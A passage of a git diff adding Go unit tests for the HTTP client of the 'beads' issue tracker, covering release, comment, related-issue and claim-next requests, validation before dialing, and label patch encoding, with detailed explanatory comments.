doctrine, pinned where it can fail. +// +// types.Issue.RowVersion is `json:"-"`, so the row the server sends carries NO +// token and the operation publishes it as a sibling member. The role's own leaf +// says the post-release token rides on ReleaseResult.Issue.RowVersion and that a +// second spelling of one token is how two spellings come to disagree — so the +// client has exactly one correct move, and both wrong ones are silent: dropping +// the member leaves a zero that reads as a real token (migration 0054 backfilled +// rows holding 0), and putting it in a field of its own leaves the documented +// compose-and-continue loop reading the wrong one. +// +// The value is deliberately past 2^53, which is the second half of the doctrine: +// an IEEE-754 double's ulp is already 64 up there, so a decode through a float +// anywhere on this path answers a number NEAR the token that is not it — which +// is why the wire spells it as a decimal STRING (types.RevisionToken) and this +// client parses it back with types.ParseRevisionToken. +func TestReleaseStitchesTheRevisionOntoTheRowItAnswersWith(t *testing.T) { + const token int64 = 900719925474099234 + w := &stubWire{released: &apigen.ReleaseIssueResponse{ + Issue: apigen.Issue{ID: "bd-1", Status: types.StatusOpen}, + Changed: true, + Revision: types.RevisionToken(token), + }} + + res, err := releaserRole(t, w).Release(context.Background(), issueops.ReleaseRequest{ + Actor: "holder", IssueID: "bd-1", + }) + if err != nil { + t.Fatalf("Release(): %v", err) + } + if res.Issue == nil { + t.Fatal("Release() answered no row") + } + if res.Issue.RowVersion != token { + t.Errorf("Issue.RowVersion = %d, want %d: the post-release token rides on the row and nowhere else", + res.Issue.RowVersion, token) + } + if !res.Changed { + t.Error("Changed = false on a 200; every answer this operation returns wrote the row") + } +} + +// TestReleasePostStateIsAnonymous is the Changed ruling, read off what the +// client does NOT do. +// +// A release leaves assignee cleared, status open and started_at gone — the same +// row whoever emptied it — so there is nothing on the post-state for a client to +// dispatch on, and any attempt to synthesize "was this mine" would be inventing +// a fact the wire never sent. This asserts the row is passed through as the +// server wrote it: no actor stamped back onto the assignee, no status rewritten, +// and the answer is a COPY rather than a window onto the response body. +func TestReleasePostStateIsAnonymous(t *testing.T) { + body := &apigen.ReleaseIssueResponse{ + Issue: apigen.Issue{ID: "bd-1", Status: types.StatusOpen, Assignee: ""}, + Changed: true, + Revision: "0", + } + w := &stubWire{released: body} + + res, err := releaserRole(t, w).Release(context.Background(), issueops.ReleaseRequest{ + Actor: "releaser-supervisor", IssueID: "bd-1", Force: true, + }) + if err != nil { + t.Fatalf("Release(): %v", err) + } + if res.Issue.Assignee != "" { + t.Errorf("Assignee = %q on a released row, want empty: the post-state names nobody, and an actor stamped back on would name the releaser", + res.Issue.Assignee) + } + if res.Issue.Status != types.StatusOpen { + t.Errorf("Status = %q, want %q", res.Issue.Status, types.StatusOpen) + } + // The copy, asserted by mutating the answer and re-reading the body: a + // result aliasing the decoded response is a window a caller can write + // through. + res.Issue.ID = "mutated" + if body.Issue.ID != "bd-1" { + t.Error("the answer aliases the decoded response body; a caller writing to the row it was handed edits the transport's buffer") + } +} + +// TestReleaseSendsTheGuardUntrimmedAndForceOnlyWhenAsked pins the request half. +// +// THE EXPECTATION IS NOT TRIMMED, which is the role's own rule and the one a +// helpful client breaks: the comparison forgives separator runs and NOTHING +// else, so a padded expectation has to lose EVERY time rather than +// intermittently. A client that trimmed would turn a deterministic refusal into +// a release that lands — the exact opposite outcome, on a compare-and-set. +// +// FORCE TRAVELS ONLY WHEN TRUE, so a request that asked for neither conflict +// never puts both members on the wire at once. +func TestReleaseSendsTheGuardUntrimmedAndForceOnlyWhenAsked(t *testing.T) { + padded := " holder" + w := &stubWire{} + if _, err := releaserRole(t, w).Release(context.Background(), issueops.ReleaseRequest{ + Actor: "supervisor", IssueID: "bd-1", ExpectedAssignee: &padded, + }); err != nil { + t.Fatalf("Release(): %v", err) + } + if w.lastRelease.ExpectedAssignee == nil { + t.Fatal("the guard did not travel") + } + if got := *w.lastRelease.ExpectedAssignee; got != padded { + t.Errorf("expected_assignee = %q, want %q verbatim: trimming turns a refusal into a release", got, padded) + } + if w.lastRelease.Force != nil { + t.Errorf("force = %v beside a guard, want absent", *w.lastRelease.Force) + } + + w = &stubWire{} + if _, err := releaserRole(t, w).Release(context.Background(), issueops.ReleaseRequest{ + Actor: "reaper", IssueID: "bd-1", Force: true, + }); err != nil { + t.Fatalf("Release(force): %v", err) + } + if w.lastRelease.Force == nil || !*w.lastRelease.Force { + t.Errorf("force = %v, want true", w.lastRelease.Force) + } + if w.lastRelease.ExpectedAssignee != nil { + t.Errorf("expected_assignee = %q beside force, want absent", *w.lastRelease.ExpectedAssignee) + } +} + +// TestReleaseLeavesTheCallersExpectationAlone is the no-mutation promise at the +// one member a callee could write through. +func TestReleaseLeavesTheCallersExpectationAlone(t *testing.T) { + expected := "holder" + req := issueops.ReleaseRequest{Actor: "supervisor", IssueID: "bd-1", ExpectedAssignee: &expected} + snapshot := req + + w := &stubWire{} + if _, err := releaserRole(t, w).Release(context.Background(), req); err != nil { + t.Fatalf("Release(): %v", err) + } + if expected != "holder" { + t.Errorf("the caller's expectation changed across the call: %q", expected) + } + if req != snapshot { + t.Errorf("the caller's request changed across the call: %+v, want %+v", req, snapshot) + } +} + +// TestReleaseRefusesBeforeTheDial is the seam's standing rule on this role. +// +// Every one of these is ALSO refused at the server's edge, so a client that +// skipped the check would still answer ErrValidation — from a problem body, one +// round trip later, and bound to a spelling a future server release may change. +// The assertion that makes the case real is therefore `calls`: the dial did not +// happen. +func TestReleaseRefusesBeforeTheDial(t *testing.T) { + empty := "" + holder := "holder" + + for name, req := range map[string]issueops.ReleaseRequest{ + "no actor": {IssueID: "bd-1"}, + "blank actor": {Actor: " ", IssueID: "bd-1"}, + "no issue id": {Actor: "holder"}, + "empty expected assignee": {Actor: "holder", IssueID: "bd-1", ExpectedAssignee: &empty}, + "force beside an expected assignee": {Actor: "holder", IssueID: "bd-1", ExpectedAssignee: &holder, Force: true}, + } { + t.Run(name, func(t *testing.T) { + w := &stubWire{} + _, err := releaserRole(t, w).Release(context.Background(), req) + if !errors.Is(err, issueops.ErrValidation) { + t.Fatalf("Release(%s) error = %v, want ErrValidation", name, err) + } + if len(w.calls) != 0 { + t.Errorf("a request the role calls invalid reached the server: %v", w.calls) + } + }) + } +} + +// TestReleaseValidationMatchesTheSharedValidator binds the restated rules to +// internal/workapi's own, which is the answer to readyclaimer.go's warning that +// a restated rule is how a leg drifts. +// +// The import is legal HERE and nowhere else in this package: depguard denies +// internal/workapi to the client's non-test files, because a client that can +// build a filter is a client whose narrowing no server-side gate can observe. A +// test has no such power, so this is where the two definitions can be held to +// each other — the same arrangement TestDefaultListLimitMatchesTheSharedDefault +// uses for the list default. +// +// It compares VERDICTS over a table that covers both sides of every rule, which +// is what makes a drift in either direction fail: a rule dropped here, and a +// rule added upstream that this copy does not have. +func TestReleaseValidationMatchesTheSharedValidator(t *testing.T) { + empty := "" + blank := " " + holder := "holder" + padded := " holder" + + for name, req := range map[string]issueops.ReleaseRequest{ + "valid unconditional": {Actor: "holder", IssueID: "bd-1"}, + "valid forced": {Actor: "reaper", IssueID: "bd-1", Force: true}, + "valid conditional": {Actor: "supervisor", IssueID: "bd-1", ExpectedAssignee: &holder}, + "valid padded expectation": { + Actor: "supervisor", IssueID: "bd-1", ExpectedAssignee: &padded, + }, + "no actor": {IssueID: "bd-1"}, + "blank actor": {Actor: blank, IssueID: "bd-1"}, + "no issue id": {Actor: "holder"}, + "blank issue id": {Actor: "holder", IssueID: blank}, + "empty expectation": {Actor: "holder", IssueID: "bd-1", ExpectedAssignee: &empty}, + "blank expectation": {Actor: "holder", IssueID: "bd-1", ExpectedAssignee: &blank}, + "force beside a guard": { + Actor: "holder", IssueID: "bd-1", ExpectedAssignee: &holder, Force: true, + }, + } { + t.Run(name, func(t *testing.T) { + mine := validateReleaseRequest(req) != nil + shared := workapi.ValidateReleaseRequest(req) != nil + if mine != shared { + t.Errorf("validateReleaseRequest refuses = %v, workapi.ValidateReleaseRequest refuses = %v: "+ + "the client's restatement has drifted from the rule every other Releaser runs", mine, shared) + } + }) + } +} + +// TestReleaseSentinelsTravelWhole is the transcription clause, and it is here +// because the value of this accessor to a downstream adapter is entirely in +// which refusal it gets. +// +// gc's ReleaseIfCurrent lane maps FOUR of these onto a quiet (false, nil) — an +// id that names nothing, a row holding no claim, a status that will not accept a +// release, and a guard that missed — and keeps the rest as errors. That mapping +// is only possible while the sentinels arrive distinguishable, so this pins that +// the role adds no swallowing of its own: every refusal the transport produced +// comes back matching the sentinel it arrived as. +// +// ErrNotClaimed is deliberately absent from the table and that absence is +// ledgered, not forgotten: the wire spells it and ErrNotReleasable with one +// code, so it cannot arrive over http at all (L-release-notclaimed). +func TestReleaseSentinelsTravelWhole(t *testing.T) { + for name, sentinel := range map[string]error{ + "absent id": issueops.ErrNotFound, + "not releasable": issueops.ErrNotReleasable, + "guard missed": issueops.ErrAssigneeMismatch, + "foreign holder": issueops.ErrAlreadyClaimed, + "server validation": issueops.ErrValidation, + } { + t.Run(name, func(t *testing.T) { + w := &stubWire{errs: []error{sentinel}} + res, err := releaserRole(t, w).Release(context.Background(), issueops.ReleaseRequest{ + Actor: "holder", IssueID: "bd-1", + }) + if !errors.Is(err, sentinel) { + t.Fatalf("Release() error = %v, want %v to survive the role", err, sentinel) + } + if res.Issue != nil || res.Changed { + t.Errorf("a refused release answered %+v, want the zero result", res) + } + }) + } +} + +// TestCommentSendsTheAuthorVerbatim pins the caller-asserted half. +// +// The author is not the authenticated principal and not a configured actor: it +// lands IN the row and is read back by everyone who sees the thread. So the +// client applies no default and no normalization — a client that substituted the +// workspace's actor, or trimmed, would publish a claim the caller did not make +// under a name the caller did not choose. +func TestCommentSendsTheAuthorVerbatim(t *testing.T) { + const author = " Ada Lovelace " + const text = "\n a body that keeps its own whitespace \n" + w := &stubWire{commented: &types.Comment{ID: "c-7", Author: author, Text: text}} + + res, err := commenterRole(t, w).AddComment(context.Background(), issueops.AddCommentRequest{ + Author: author, IssueID: "bd-1", Text: text, + }) + if err != nil { + t.Fatalf("AddComment(): %v", err) + } + if w.lastComment.Author != author { + t.Errorf("author = %q, want %q verbatim", w.lastComment.Author, author) + } + if w.lastComment.Text != text { + t.Errorf("text = %q, want %q verbatim: the column is a document and nothing here trims it", w.lastComment.Text, text) + } + if want := []string{"addComment:bd-1"}; !reflect.DeepEqual(w.calls, want) { + t.Errorf("calls = %v, want %v", w.calls, want) + } + if res.Comment == nil || res.Comment.ID != "c-7" { + t.Errorf("Comment = %+v, want the stored row the server answered with", res.Comment) + } +} + +// TestCommentAnswersTheStoredRowAsACopy: the result is the whole payload of this +// role, and it must not be a window onto a decoded response body — a caller +// keeps CreatedAt as a comment-page cursor. +func TestCommentAnswersTheStoredRowAsACopy(t *testing.T) { + body := &types.Comment{ID: "c-7", Author: "ada", Text: "t"} + w := &stubWire{commented: body} + + res, err := commenterRole(t, w).AddComment(context.Background(), issueops.AddCommentRequest{ + Author: "ada", IssueID: "bd-1", Text: "t", + }) + if err != nil { + t.Fatalf("AddComment(): %v", err) + } + res.Comment.Author = "mutated" + if body.Author != "ada" { + t.Error("the answer aliases the decoded response body") + } +} + +// TestCommentRefusesABodilessSuccess covers the one answer this role cannot +// pass through: a 200 with no comment in it. +// +// Reading that as a success would return a nil *Comment through a result whose +// only member is that pointer, moving the panic to whichever caller +// dereferenced it — and the two facts the role promises, the minted id and the +// stored created_at, would simply be absent. +func TestCommentRefusesABodilessSuccess(t *testing.T) { + w := &stubWire{commented: nil} + _, err := commenterRole(t, w).AddComment(context.Background(), issueops.AddCommentRequest{ + Author: "ada", IssueID: "bd-1", Text: "t", + }) + if err == nil { + t.Fatal("a 200 carrying no comment was read as a success") + } + if !strings.Contains(err.Error(), "no body") { + t.Errorf("error = %v, want it to name the absent body", err) + } +} + +// TestCommentRefusesBeforeTheDial is the pre-dial rule on this role. All three +// refusals come from the SHARED validator, so this also pins that the client +// runs it rather than a restatement. +func TestCommentRefusesBeforeTheDial(t *testing.T) { + for name, req := range map[string]issueops.AddCommentRequest{ + "no author": {IssueID: "bd-1", Text: "t"}, + "no issue id": {Author: "ada", Text: "t"}, + "blank text": {Author: "ada", IssueID: "bd-1", Text: " \n "}, + } { + t.Run(name, func(t *testing.T) { + w := &stubWire{} + _, err := commenterRole(t, w).AddComment(context.Background(), req) + if !errors.Is(err, issueops.ErrValidation) { + t.Fatalf("AddComment(%s) error = %v, want ErrValidation", name, err) + } + if len(w.calls) != 0 { + t.Errorf("a request the role calls invalid reached the server: %v", w.calls) + } + }) + } +} + +// TestRelationDirectionsMatchTheGeneratedEnum is the gotcha's gate. +// +// apigen carries TWO [out, in] enums — this operation's and +// countDependencyEdges' — and the arrival of the second renamed the bare In/Out +// constants a first draft would reach for. Both spell the same values today, so +// a cross-wired reference compiles and passes; what it would not survive is +// either enum's values changing, and by then the symptom is an inverse graph +// with the same shape and the same member names. +func TestRelationDirectionsMatchTheGeneratedEnum(t *testing.T) { + for direction, want := range map[issueops.RelationDirection]apigen.ListRelatedIssuesParamsDirection{ + issueops.RelationOut: apigen.ListRelatedIssuesParamsDirectionOut, + issueops.RelationIn: apigen.ListRelatedIssuesParamsDirectionIn, + } { + if got := relationDirection(direction); got != string(want) { + t.Errorf("relationDirection(%q) = %q, want %q", direction, got, want) + } + if !want.Valid() { + t.Errorf("%q is not a member of ListRelatedIssuesParamsDirection", want) + } + } + // The sibling enum is named here on purpose: this is the assertion that goes + // red the day the two stop agreeing, which is the moment a cross-wired + // constant stops being invisible. It is a Log rather than an Error because a + // divergence between the two enums is upstream's to make — what this test + // FAILS on is this client sending the wrong one. + if string(apigen.ListRelatedIssuesParamsDirectionOut) != string(apigen.CountDependencyEdgesParamsDirectionOut) || + string(apigen.ListRelatedIssuesParamsDirectionIn) != string(apigen.CountDependencyEdgesParamsDirectionIn) { + t.Log("the two direction enums have diverged; relationDirection must keep sending this operation's own constants") + } +} + +// TestRelatedRefusesBeforeTheDial covers the refusal that exists ONLY on this +// side of the wire. +// +// The server bounds the path id before the role is reached, so an empty anchor +// is a 404 there — meaning a client that forwarded one would answer ErrNotFound +// where every other backend answers ErrValidation. The direction and type +// refusals are reachable on both sides; this asserts all three are made here, in +// the shared validator's own order. +func TestRelatedRefusesBeforeTheDial(t *testing.T) { + long := strings.Repeat("x", types.MaxDependencyTypeLen+1) + + for name, req := range map[string]issueops.RelatedRequest{ + "no anchor": {Direction: issueops.RelationOut}, + "zero direction": {ID: "bd-1"}, + "unknown direction": {ID: "bd-1", Direction: issueops.RelationDirection("sideways")}, + "empty type": {ID: "bd-1", Direction: issueops.RelationOut, Types: []types.DependencyType{""}}, + "oversized type": {ID: "bd-1", Direction: issueops.RelationOut, Types: []types.DependencyType{types.DependencyType(long)}}, + } { + t.Run(name, func(t *testing.T) { + role, w := relationsRole(t) + if _, err := role.Related(context.Background(), req); !errors.Is(err, issueops.ErrValidation) { + t.Fatalf("Related(%s) error = %v, want ErrValidation", name, err) + } + if len(w.requests) != 0 { + t.Errorf("a request the role calls invalid reached the server: %+v", w.requests) + } + }) + } +} + +// TestRelatedSendsTheAnchorInThePathAndTheFiltersInTheQuery is the request +// shape. +// +// The anchor is a PATH segment, which is what makes this role's miss a 404 +// rather than a per-anchor sentinel, and the type filter is REPEATED rather than +// comma-joined — the operation reads it with the repeatable list decoder and +// does no splitting, so a comma would travel into a type name. +func TestRelatedSendsTheAnchorInThePathAndTheFiltersInTheQuery(t *testing.T) { + role, w := relationsRole(t) + if _, err := role.Related(context.Background(), issueops.RelatedRequest{ + ID: "ga-1:x", + Direction: issueops.RelationIn, + Types: []types.DependencyType{types.DepBlocks, "parent-child"}, + }); err != nil { + t.Fatalf("Related(): %v", err) + } + if len(w.requests) != 1 { + t.Fatalf("dialed %d times, want 1", len(w.requests)) + } + req := w.requests[0] + if want := "/v0/beads/issues/ga-1%3Ax/related"; req.Path != want { + t.Errorf("path = %q, want %q: the anchor is one escaped segment under a literal collection", req.Path, want) + } + if req.IssueID != "ga-1:x" { + t.Errorf("IssueID = %q, want the anchor so a refusal names the row the request named", req.IssueID) + } + if got := req.Query.Get("direction"); got != "in" { + t.Errorf("direction = %q, want %q", got, "in") + } + if got, want := req.Query["type"], []string{"blocks", "parent-child"}; !reflect.DeepEqual(got, want) { + t.Errorf("type = %v, want %v repeated rather than joined", got, want) + } +} + +// TestRelatedAnswersAnEmptyPageWithoutNil is the never-nil promise, and it is +// the one shape a DECODE can produce that the document forbids: `items` is +// published as an empty array and never null, but an absent member unmarshals to +// a nil slice, and a caller ranges over the answer without checking. +func TestRelatedAnswersAnEmptyPageWithoutNil(t *testing.T) { + role, _ := relationsRole(t) + items, err := role.Related(context.Background(), issueops.RelatedRequest{ + ID: "bd-1", Direction: issueops.RelationOut, + }) + if err != nil { + t.Fatalf("Related(): %v", err) + } + if items == nil { + t.Fatal("Related() answered nil on a successful call") + } + if len(items) != 0 { + t.Errorf("Related() answered %d rows from an empty body", len(items)) + } +} + +// TestRelatedLeavesTheCallersTypesAlone: RelatedRequest travels by value, so +// Types is the one member a body could write through — and reading it into a set +// is fine while sorting or de-duplicating it in place is not. +func TestRelatedLeavesTheCallersTypesAlone(t *testing.T) { + types_ := []types.DependencyType{"related", types.DepBlocks, "related"} + snapshot := append([]types.DependencyType(nil), types_...) + + role, _ := relationsRole(t) + if _, err := role.Related(context.Background(), issueops.RelatedRequest{ + ID: "bd-1", Direction: issueops.RelationOut, Types: types_, + }); err != nil { + t.Fatalf("Related(): %v", err) + } + if !reflect.DeepEqual(types_, snapshot) { + t.Errorf("the caller's Types changed across the call: %v, want %v", types_, snapshot) + } +} diff --git a/internal/httpclient/wave2c_claimnext_test.go b/internal/httpclient/wave2c_claimnext_test.go new file mode 100644 index 000000000..9a05b7ee0 --- /dev/null +++ b/internal/httpclient/wave2c_claimnext_test.go @@ -0,0 +1,356 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/wave2c_claimnext_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "errors" + "sort" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// The unit half of client wave 2c's claimNext: which LEG the role takes, what +// the served one sends, and the one shape of answer a correct server never +// produces and this client must not pass on. +// +// The served-surface tier runs the whole eleven-case contract against the +// operation, so what is left here is what a correct server hides. Two things +// qualify. The DOWN-LEVEL leg cannot be reached through a real bd serve at all +// — the in-process server advertises every implemented operation — so a +// capability-gated fallback that had stopped working would be invisible to every +// test in this tree. And the FILTER travels as a query string, so a member the +// encoder dropped would widen the candidate set silently: the server would +// answer a correct claim for a question nobody asked. + +// claimNextStore builds a store whose cached handshake advertises exactly the +// tokens given, which is how a case here chooses the leg under test. +// +// It is the store's SNAPSHOT rather than the wire's handshake because that is +// what the role consults: (*Store).snapshot is the one lazy handshake the store +// owns, and servesClaimNext reads the capability list off it. +func claimNextStore(t *testing.T, w *stubWire, capabilities ...string) *Store { + t.Helper() + return New(testTarget(t), w, &apigen.ContextResponse{BdVersion: "1.2.3", Capabilities: capabilities}) +} + +func claimNextRole(t *testing.T, s *Store) issueops.ReadyClaimer { + t.Helper() + role, err := s.ReadyClaimer() + if err != nil { + t.Fatalf("ReadyClaimer(): %v", err) + } + return role +} + +// claimNextToken is the capability a server advertises for the operation. It is +// read from the client's own vocabulary rather than spelled, so a token renamed +// upstream reaches these cases through the same map the role consults. +func claimNextToken(t *testing.T) string { + t.Helper() + token, ok := wire.CapabilityFor(wire.OpClaimNextIssue) + if !ok { + t.Fatal("the client's vocabulary has no capability for claimNextIssue") + } + return token +} + +// TestClaimNextTakesTheOperationWhereTheServerAdvertisesItAndComposesWhereItDoesNot +// is the leg choice, both arms, which is the whole reason the fallback is not +// dead code. +// +// A real bd serve advertises every operation it implements, so the served-surface +// tier can only ever exercise ONE of these two paths. Without this case the +// down-level leg would compile, would be the only thing standing between a +// pre-#5510 server and a broken `bd ready --claim`, and would be exercised by +// nothing at all. +func TestClaimNextTakesTheOperationWhereTheServerAdvertisesItAndComposesWhereItDoesNot(t *testing.T) { + claimed := &types.IssueWithCounts{Issue: &types.Issue{ID: "bd-1", Status: types.StatusInProgress, Assignee: "ada"}} + + served := &stubWire{claimedNext: &apigen.ClaimNextResponse{Claimed: claimed}} + res, err := claimNextRole(t, claimNextStore(t, served, claimNextToken(t))). + ClaimNext(context.Background(), issueops.ClaimNextRequest{Actor: "ada"}) + if err != nil { + t.Fatalf("ClaimNext against a server that advertises the operation: %v", err) + } + if res.Claimed == nil || res.Claimed.ID != "bd-1" { + t.Errorf("the served leg answered %v, want the row the operation claimed", res.Claimed) + } + if want := []string{"claimNextIssue"}; !equalCalls(served.calls, want) { + t.Errorf("the served leg called %v, want %v: one operation, no listing beside it", served.calls, want) + } + + // The SAME request against a server that does not advertise it. The stub's + // ready page is what the composition walks; the claim answers the row. + down := &stubWire{ + ready: []*apigen.ReadyPage{{Items: []apigen.IssueWithCounts{{Issue: &types.Issue{ID: "bd-2"}}}}}, + claim: &apigen.ClaimResponse{Issue: types.Issue{ID: "bd-2", Status: types.StatusInProgress, Assignee: "ada"}}, + } + res, err = claimNextRole(t, claimNextStore(t, down)). + ClaimNext(context.Background(), issueops.ClaimNextRequest{Actor: "ada"}) + if err != nil { + t.Fatalf("ClaimNext against a server too old for the operation: %v", err) + } + if res.Claimed == nil || res.Claimed.ID != "bd-2" { + t.Errorf("the down-level leg answered %v, want the row the composition claimed", res.Claimed) + } + if want := []string{"listReadyWork", "claimIssue:bd-2"}; !equalCalls(down.calls, want) { + t.Errorf("the down-level leg called %v, want %v: the composition L14 describes", down.calls, want) + } +} + +// TestClaimNextSendsTheFilterAsTheReadyQueryAndTheActorAsTheBody is the request, +// member for member. +// +// THE SPLIT IS THE OPERATION'S: the filter is `listReadyWork`'s vocabulary and +// goes through the same server-side decode, so it travels as a query string and +// a body object would be a second expression of one predicate. The actor is +// provenance that lands in a column. +// +// TWO PARAMETERS MUST BE ABSENT and their absence is asserted rather than +// assumed. `limit` is refused BY VALUE on this operation — any value at all is a +// 400, because the scan must stay unbounded — and `brief` has no spelling here, +// because the claim refetches its winner whole. A client that reused the +// listing's encoder verbatim would send both. +func TestClaimNextSendsTheFilterAsTheReadyQueryAndTheActorAsTheBody(t *testing.T) { + w := &stubWire{claimedNext: &apigen.ClaimNextResponse{}} + role := claimNextRole(t, claimNextStore(t, w, claimNextToken(t))) + + if _, err := role.ClaimNext(context.Background(), issueops.ClaimNextRequest{ + Actor: "ada", + Filter: issueops.ReadyRequest{ + Labels: []string{"lane", "urgent"}, + LabelsAny: []string{"a", "b"}, + ExcludeLabels: []string{"held"}, + IssueType: "task", + ParentID: "bd-parent", + IncludeEphemeral: true, + Sort: "oldest", + }, + }); err != nil { + t.Fatalf("ClaimNext: %v", err) + } + + q := w.lastClaimNextParams + for param, want := range map[string][]string{ + "label": {"lane", "urgent"}, + "label_any": {"a", "b"}, + "exclude_label": {"held"}, + "type": {"task"}, + "parent": {"bd-parent"}, + "include_ephemeral": {"true"}, + "sort": {"oldest"}, + } { + if got := q[param]; !equalCalls(got, want) { + t.Errorf("the claim sent %s=%v, want %v", param, got, want) + } + } + for _, absent := range []string{"limit", "brief"} { + if _, present := q[absent]; present { + t.Errorf("the claim sent %s=%v; the operation refuses a limit by value and publishes no projection at all", + absent, q[absent]) + } + } + if w.lastClaimNextBody.Actor != "ada" { + t.Errorf("the claim body carried actor %q, want %q", w.lastClaimNextBody.Actor, "ada") + } +} + +// TestClaimNextSendsTheSortPolicyEvenWhenTheRequestNamesNone is the one filter +// member whose default decides which row is WRITTEN. +// +// An absent `sort` is `priority` to the handler and `hybrid` to the storage +// layer, and those two answer with different rows. The listing encoder sends the +// concrete policy an empty one means for exactly that reason, and a claim has +// more at stake than a listing does: the listing would print a different order, +// this mutates a different issue. +func TestClaimNextSendsTheSortPolicyEvenWhenTheRequestNamesNone(t *testing.T) { + w := &stubWire{claimedNext: &apigen.ClaimNextResponse{}} + role := claimNextRole(t, claimNextStore(t, w, claimNextToken(t))) + if _, err := role.ClaimNext(context.Background(), issueops.ClaimNextRequest{Actor: "ada"}); err != nil { + t.Fatalf("ClaimNext: %v", err) + } + if got := w.lastClaimNextParams.Get("sort"); got != "hybrid" { + t.Errorf("the claim sent sort=%q for a request naming none, want %q: an absent parameter is the "+ + "handler's `priority` and the storage layer's `hybrid`, which claim different rows", got, "hybrid") + } +} + +// TestClaimNextRefusesAClaimCarryingNoRow is the served leg's one trust rule. +// +// types.IssueWithCounts embeds the row as a POINTER, so an object carrying the +// cardinalities and none of the issue's own members decodes to a non-nil claim +// whose Issue is nil — a shape nothing on the wire tells apart from a claim that +// landed. Passing it through is not a wrong answer but a PANIC in the caller: +// `bd ready --claim` dereferences the claimed row's ID with no nil check. +// +// THE ABSENT CLAIM IS THE CONTROL beside it, and it is the case that keeps the +// guard from being written as "refuse anything falsy": a drained front is a 200 +// whose body is `{}`, which is the role's nil-Claimed nil-error answer and must +// stay one. +func TestClaimNextRefusesAClaimCarryingNoRow(t *testing.T) { + rowless := &stubWire{claimedNext: &apigen.ClaimNextResponse{ + Claimed: &types.IssueWithCounts{DependencyCount: 2, CommentCount: 1}, + }} + _, err := claimNextRole(t, claimNextStore(t, rowless, claimNextToken(t))). + ClaimNext(context.Background(), issueops.ClaimNextRequest{Actor: "ada"}) + if err == nil { + t.Fatal("a claim carrying no issue was passed through; the caller dereferences it with no nil check") + } + if !strings.Contains(err.Error(), "no issue") { + t.Errorf("the refusal reads %q, want it to name the missing row", err) + } + + drained := &stubWire{claimedNext: &apigen.ClaimNextResponse{}} + res, err := claimNextRole(t, claimNextStore(t, drained, claimNextToken(t))). + ClaimNext(context.Background(), issueops.ClaimNextRequest{Actor: "ada"}) + if err != nil || res.Claimed != nil { + t.Errorf("a drained front answered (%v, %v), want (nil, nil): an absent claim is the steady state of "+ + "a drained queue, not a broken server", res.Claimed, err) + } +} + +// TestClaimNextValidationRunsBeforeTheLegIsChosen pins that both legs refuse the +// same set, and that neither spends a round trip doing it. +// +// The rules are the shared validator's — Limit, Offset, Brief and an empty actor +// — and running them before the capability check is what makes them the ROLE's +// answer rather than a property of whichever server the caller happens to be +// pointed at. A validation refusal that reached the handshake would also mean a +// caller with no server at all could not be told its request was invalid. +func TestClaimNextValidationRunsBeforeTheLegIsChosen(t *testing.T) { + limit := 5 + for _, tc := range []struct { + name string + req issueops.ClaimNextRequest + }{ + {"an empty actor", issueops.ClaimNextRequest{}}, + {"a limit", issueops.ClaimNextRequest{Actor: "ada", Filter: issueops.ReadyRequest{Limit: &limit}}}, + {"an offset", issueops.ClaimNextRequest{Actor: "ada", Filter: issueops.ReadyRequest{Offset: 3}}}, + {"a projection", issueops.ClaimNextRequest{Actor: "ada", Filter: issueops.ReadyRequest{Brief: true}}}, + } { + t.Run(tc.name, func(t *testing.T) { + for _, leg := range []struct { + name string + token []string + }{{"served", []string{claimNextToken(t)}}, {"down-level", nil}} { + w := &stubWire{claimedNext: &apigen.ClaimNextResponse{}} + _, err := claimNextRole(t, claimNextStore(t, w, leg.token...)).ClaimNext(context.Background(), tc.req) + if !errors.Is(err, issueops.ErrValidation) { + t.Errorf("%s leg: refusal = %v, want ErrValidation", leg.name, err) + } + if len(w.calls) != 0 { + t.Errorf("%s leg: the refused request still dialed %v", leg.name, w.calls) + } + } + }) + } +} + +// equalCalls compares two string slices element for element. +func equalCalls(got, want []string) bool { + if len(got) != len(want) { + return false + } + for i := range got { + if got[i] != want[i] { + return false + } + } + return true +} + +// TestUpdateSendsTheWholeOrderedLabelEdit is what replaced W-IssuePatch.Labels' +// refusal pin, and the shape of the replacement is the point: a retired refusal +// invites exactly one failure — a member that stopped being refused and never +// started being sent — which no negative assertion can see. +// +// THE PATCH IS A DOCUMENT, so the compiler checks nothing about these three +// names. A typo would produce a 400 from a live server and pass every test that +// does not dial one; this reads the document the encoder built. +// +// EACH ARM IS DRIVEN ALONE as well as together, because the three are one field +// on the role and an encoder that assembled them into a single member would pass +// a combined case while dropping two of them. +func TestUpdateSendsTheWholeOrderedLabelEdit(t *testing.T) { + for _, tc := range []struct { + name string + patch issueops.LabelPatch + want map[string][]string + }{ + {"an add alone", issueops.LabelPatch{Add: []string{"lane", "urgent"}}, + map[string][]string{"add_labels": {"lane", "urgent"}}}, + {"a remove alone", issueops.LabelPatch{Remove: []string{"held"}}, + map[string][]string{"remove_labels": {"held"}}}, + {"a replace alone", issueops.LabelPatch{Replace: issueops.Field[[]string]{Set: true, Value: []string{"only"}}}, + map[string][]string{"labels": {"only"}}}, + {"the clear", issueops.LabelPatch{Replace: issueops.Field[[]string]{Set: true}}, + map[string][]string{"labels": {}}}, + {"all three together", issueops.LabelPatch{ + Replace: issueops.Field[[]string]{Set: true, Value: []string{"base"}}, + Add: []string{"added"}, + Remove: []string{"base"}, + }, map[string][]string{"labels": {"base"}, "add_labels": {"added"}, "remove_labels": {"base"}}}, + } { + t.Run(tc.name, func(t *testing.T) { + document, err := encodeIssuePatch(issueops.IssuePatch{Labels: tc.patch}) + if err != nil { + t.Fatalf("encodeIssuePatch: %v", err) + } + for member, want := range tc.want { + got, present := document[member] + if !present { + t.Fatalf("the document carries no %q; it carries %v", member, sortedDocumentMembers(document)) + } + values, ok := got.([]string) + if !ok { + t.Fatalf("%q is %T, want []string", member, got) + } + if !equalCalls(values, want) { + t.Errorf("%q = %v, want %v", member, values, want) + } + } + for member := range document { + if _, wanted := tc.want[member]; !wanted { + t.Errorf("the document carries %q, which this edit did not ask for: an empty add or remove "+ + "is one value with nil on the role, so sending it would put a member on the wire that says nothing", member) + } + } + }) + } +} + +// TestUpdateSendsNoLabelMemberForAnEmptyEdit is the other half of the emission +// rule, and it is separate because it is about a patch that is 